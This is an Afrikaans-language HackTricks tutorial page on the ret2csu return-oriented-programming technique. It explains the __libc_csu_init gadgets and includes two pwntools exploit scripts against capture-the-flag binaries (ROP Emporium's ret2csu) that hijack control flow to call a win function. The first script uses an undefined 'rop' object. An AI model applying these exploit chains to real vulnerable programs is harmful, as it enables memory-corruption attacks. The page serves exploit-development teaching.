Ret2csu
Reading time: 7 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
https://www.scs.stanford.edu/brop/bittau-brop.pdfBasiese Inligting
ret2csu is 'n hacking tegniek wat gebruik word wanneer jy probeer om beheer oor 'n program te neem, maar nie die gadgets kan vind wat jy gewoonlik gebruik om die program se gedrag te manipuleer nie.
Wanneer 'n program sekere biblioteke (soos libc) gebruik, het dit 'n paar ingeboude funksies om te bestuur hoe verskillende stukke van die program met mekaar kommunikeer. Onder hierdie funksies is daar 'n paar verborge juwele wat as ons ontbrekende gadgets kan optree, veral een genaamd __libc_csu_init
.
Die Magiese Gadgets in __libc_csu_init
In __libc_csu_init
is daar twee reekse instruksies (gadgets) om te beklemtoon:
- Die eerste reeks laat ons toe om waardes in verskeie registers (rbx, rbp, r12, r13, r14, r15) op te stel. Hierdie is soos slots waar ons nommers of adresse kan stoor wat ons later wil gebruik.
pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;
Hierdie toestel laat ons toe om hierdie registers te beheer deur waardes van die stapel in hulle te pop.
- Die tweede reeks gebruik die waardes wat ons opgestel het om 'n paar dinge te doen:
- Beweeg spesifieke waardes in ander registers, wat hulle gereed maak vir ons om as parameters in funksies te gebruik.
- Voer 'n oproep na 'n ligging uit wat bepaal word deur die waardes in r15 en rbx bymekaar te tel, en dan rbx met 8 te vermenigvuldig.
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
- Miskien weet jy nie van enige adres om daar te skryf nie en jy het 'n
ret
instruksie nodig. Let daarop dat die tweede gadget ook sal eindig in 'nret
, maar jy sal aan sekere voorwaardes moet voldoen om dit te bereik:
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
add rbx, 0x1;
cmp rbp, rbx
jnz <func>
...
ret
Die voorwaardes sal wees:
[r12 + rbx*8]
moet na 'n adres wys wat 'n aanroepbare funksie stoor (as daar geen idee en geen pie is nie, kan jy net die_init
funksie gebruik):- As _init by
0x400560
is, gebruik GEF om 'n wys na 'n pointer in geheue daarna te soek en maak[r12 + rbx*8]
die adres met die pointer na _init:
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤ search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44 → "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
rbp
enrbx
moet die selfde waarde hê om die sprong te vermy- Daar is 'n paar weggelate pops wat jy in ag moet neem
RDI en RSI
Nog 'n manier om rdi
en rsi
vanaf die ret2csu gadget te beheer, is deur toegang te verkry tot spesifieke offsets:
Kyk na hierdie bladsy vir meer inligting:
BROP - Blind Return Oriented Programming
Voorbeeld
Gebruik die oproep
Stel jou voor jy wil 'n syscall maak of 'n funksie soos write()
aanroep, maar jy het spesifieke waardes in die rdx
en rsi
registers as parameters nodig. Normaalweg sou jy soek na gadgets wat hierdie registers direk stel, maar jy kan nie enige vind nie.
Hier kom ret2csu in die spel:
- Stel die Registers Op: Gebruik die eerste magiese gadget om waardes van die stapel af te pop en in rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), en r15 te plaas.
- Gebruik die Tweede Gadget: Met daardie registers ingestel, gebruik jy die tweede gadget. Dit laat jou toe om jou gekose waardes in
rdx
enrsi
(van r14 en r13, onderskeidelik) te beweeg, wat die parameters vir 'n funksie-aanroep voorberei. Boonop, deurr15
enrbx
te beheer, kan jy die program dwing om 'n funksie aan te roep wat geleë is by die adres wat jy bereken en in[r15 + rbx*8]
plaas.
Jy het 'n voorbeeld wat hierdie tegniek gebruik en dit hier verduidelik, en dit is die finale uitbuiting wat dit gebruik het:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208 # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028
rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0) # r12
rop.raw(0) # r13
rop.raw(0xdeadbeefcafed00d) # r14 - popped into RDX!
rop.raw(RW_LOC) # r15 - holds location of called function!
rop.raw(REG_CALL) # all the movs, plus the call
p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
warning
Let daarop dat die vorige exploit nie bedoel is om 'n RCE
te doen nie, dit is bedoel om net 'n funksie genaamd win
aan te roep (wat die adres van win
van stdin wat gets in die ROP-ketting aanroep en dit in r15 stoor) met 'n derde argument met die waarde 0xdeadbeefcafed00d
.
Om die oproep te omseil en ret
te bereik
Die volgende exploit is onttrek van hierdie bladsy waar die ret2csu gebruik word, maar in plaas daarvan om die oproep te gebruik, is dit die vergelykings te omseil en die ret
te bereik na die oproep:
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
from pwn import *
# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b * 0x4007b0')
# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)
# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)
# Padding from start of input to saved return address
payload = "0"*0x28
# Our first gadget, and the values to be popped from the stack
# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX
# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15
# Finally the address of ret2win
payload += ret2win
# Send the payload
target.sendline(payload)
target.interactive()
Hoekom Nie Net Libc Direk Gebruik Nie?
Gewoonlik is hierdie gevalle ook kwesbaar vir ret2plt + ret2lib, maar soms moet jy meer parameters beheer as wat maklik beheer kan word met die gadgets wat jy direk in libc vind. Byvoorbeeld, die write()
funksie vereis drie parameters, en om gadgets te vind om al hierdie direk in te stel mag nie moontlik wees nie.
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.